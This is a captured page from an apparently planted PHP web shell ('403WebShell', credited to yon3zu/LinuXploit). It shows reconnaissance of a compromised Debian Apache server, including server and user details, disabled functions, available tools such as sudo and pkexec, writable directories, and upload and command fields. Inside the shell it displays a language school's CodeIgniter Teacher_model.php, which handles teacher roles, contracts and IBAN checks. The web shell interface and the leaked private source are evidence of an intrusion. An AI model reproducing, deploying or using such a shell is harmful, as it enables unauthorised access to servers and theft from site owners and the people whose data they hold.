Uname:Linux EDL-STRETCH 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64

403WebShell
403Webshell
Server IP : 188.114.97.2  /  Your IP : 104.23.243.201
Web Server : Apache/2.4.59 (Debian)
System : Linux EDL-STRETCH 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
User : edlftp ( 1002)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/nicolasj/www/sms.formationlangues.be/application/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/nicolasj/www/sms.formationlangues.be/application/models/Teacher_model.php
<?php

class Teacher_model extends CI_Model
{

    public const TEACHER_ROLES = [
        0 => 'full_teacher',        # full teacher
        1 => 'substitute_teacher',
        2 => 'supervisor',
        3 => 'viewer_teacher'
    ];

    public function get_entry(int $id)
    {
        if ($id <= 0) {
            return null;
        }
        $result = $this->db->get_where('teacher', ['teacher_id' => $id])->result();
        return isset($result[0]) ? $result[0] : null;
    }

    public function update_entry(int $id, array $fields): bool
    {
        if ($id <= 0 || empty($fields)) {
            return false;
        }
        return $this->db->update('teacher', $fields, ['teacher_id' => $id]);
    }

    public function count(): array
    {
        $query = $this->db->query(
            "SELECT t.teacher_id, t.admin_contract
            FROM `teacher` t
            LEFT JOIN user as u ON u.user_id = t.teacher_id
            LEFT JOIN course_teacher as ct ON ct.teacher_id = t.teacher_id
            LEFT JOIN course_scheduled_new as cs ON cs.ID = ct.lesson_id
            LEFT JOIN course_new as c ON c.ID = cs.CourseID
            WHERE u.is_active = 1 AND u.Archived = 0 AND c.Archived != 1
            GROUP BY t.teacher_id");
        $teachers = $query->result();
        $count_teachers = 0;
        $count_animators = 0;
        foreach ($teachers as $t) {
            if ((int) $t->admin_contract === 1) {
                $count_animators++;
            } else if ((int) $t->admin_contract > 1) {
                $count_teachers++;
            }
        }

        return [
            'teachers'  => $count_teachers,
            'animators' => $count_animators
        ];
    }

    /**
     * Returns an lesson assignments by id
     *
     * @param integer $teacher_id
     * @param integer $course_id
     * @return array
     */
    public function lesson_teacher_assignment(int $teacher_lesson_id) : ?stdClass 
    {
        $result = $this->db->join('course_scheduled_new', 'course_scheduled_new.ID = course_teacher.lesson_id', 'inner')
                           ->get_where('course_teacher', ['course_teacher.id' => $teacher_lesson_id])
                           ->result();
        return isset($result[0]) ? $result[0] : null;
    }

    /**
     * Returns course_teacher for a course
     *
     * @param integer $teacher_id
     * @param integer $course_id
     * @return array
     */
    public function get_course_teacher(int $teacher_id, int $course_id) : array 
    {
        $query = $this->db->get_where('course_teacher', ['course_id' => $course_id, 'teacher_id' => $teacher_id]);
        $course_teacher = $query->result();
        return $course_teacher;
    }

    /**
     * Returns course_teacher for all courses
     *
     * @param integer $teacher_id
     * @param integer $course_id
     * @return array
     */
    public function get_courses_teacher(int $teacher_id) : array 
    {
        $query = $this->db->get_where('course_teacher', ['teacher_id' => $teacher_id]);
        $course_teacher = $query->result();
        return $course_teacher;
    }

    /**
     * Returns all lesson assignments from a teacher for a course
     *
     * @param integer $teacher_id
     * @param integer $course_id
     * @return array
     */
    public function lessons_teacher_assignment(int $teacher_id, int $course_id) : array 
    {
        $query = $this->db->join('course_scheduled_new', 'course_scheduled_new.ID = course_teacher.lesson_id', 'inner')
                          ->get_where('course_teacher', ['course_id' => $course_id, 'teacher_id' => $teacher_id]);
        $lessons_teacher = $query->result();
        return $lessons_teacher;
    }

    /**
     * Returns lesson assignment from a teacher for a lesson
     *
     * @param integer $teacher_id
     * @param integer $course_id
     * @return array
     */
    public function lesson_teacher_assignment_by_lesson_id(int $teacher_id, int $lesson_id) : ?stdClass 
    {
        $result = $this->db->join('course_scheduled_new', 'course_scheduled_new.ID = course_teacher.lesson_id', 'inner')
                           ->get_where('course_teacher', ['lesson_id' => $lesson_id, 'teacher_id' => $teacher_id])
                           ->result();
        return isset($result[0]) ? $result[0] : null;
    }

    /**
     * Check if the teacher have an valid account (fullfilled)
     *
     * @param integer $user_id
     * @return bool
     */
    public function fullfilled_teacher(int $user_id) : bool
    {
        $teacher = $this->get_entry($user_id);
        if (empty($teacher)) {
            return true;
        }
        $this->load->model('address_model');
        $valid = !empty($teacher->address_id) && !empty($this->address_model->fullfilled($teacher->address_id)) && !empty($teacher->dob);
        $valid = $valid && !empty($teacher->dob) && in_array((int) $teacher->admin_contract, [1, 3]) && in_array((int) $teacher->admin_state, [1, 2]);

        return $valid;
    }

    /**
     * Change teacher role for an specific lesson
     * 
     * @param int $teacher_lesson_id
     * @param int $role_id
     * @return bool
     */
    public function change_lesson_role(int $teacher_lesson_id, int $role_id) : bool
    {
        if (empty(self::TEACHER_ROLES[$role_id])) {
            return false;
        }
        return $this->db->update('course_teacher', ['teacher_role_id' => $role_id], ['id' => $teacher_lesson_id]);
    }

    /**
     * Check if the teacher can edit lesson
     * 
     * @param int $lesson_id
     * @param int $teacher_id
     * @return bool
     */
    public function can_edit_lesson(int $lesson_id, int $teacher_id) : bool
    {
        if (empty($lesson_id) || empty($teacher_id)) {
            return false;
        }
        $lesson_teacher = $this->db->get_where('course_teacher', ['lesson_id' => $lesson_id, 'teacher_id' => $teacher_id])->result();
        if (empty($lesson_teacher[0])) {
            return false;
        }

        return ((int) $lesson_teacher[0]->teacher_role_id) !== 3;
    }

    /**
     * Check if the teacher can generate contract (not already signed and user/teacher profile fullfilled)
     *
     * @param integer $teacher_id
     * @return boolean
     */
    public function teacher_available_to_generate_contract(int $teacher_id) : bool
    {
        if (empty($teacher_id) || $teacher_id <= 0) {
            return false;
        }
        
        $teacher = $this->get_entry($teacher_id);
        if (empty($teacher)) {
            return false;
        }

        $this->load->model('address_model');
        $valid = !empty($teacher->address_id) && !empty($this->address_model->fullfilled($teacher->address_id)) && !empty($teacher->dob);
        $valid = $valid && !empty($teacher->iban);
        $valid = $valid && !empty($teacher->dob) && in_array((int) $teacher->admin_contract, [1, 3]) && in_array((int) $teacher->admin_state, [0, 3]);

        return $valid;
    }

    /**
     * Check if the teacher can sign contract (not already signed and user/teacher profile fullfilled)
     *
     * @param integer $teacher_id
     * @return boolean
     */
    public function teacher_available_to_sign_contract(int $teacher_id) : bool
    {
        if (empty($teacher_id) || $teacher_id <= 0) {
            return false;
        }
        
        $teacher = $this->get_entry($teacher_id);
        if (empty($teacher)) {
            return false;
        }

        $this->load->model('address_model');
        $valid = !empty($teacher->address_id) && !empty($this->address_model->fullfilled($teacher->address_id)) && !empty($teacher->dob);
        $valid = $valid && !empty($teacher->iban);
        $valid = $valid && !empty($teacher->dob) && in_array((int) $teacher->admin_contract, [1, 3]) && in_array((int) $teacher->admin_state, [2]);

        return $valid;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit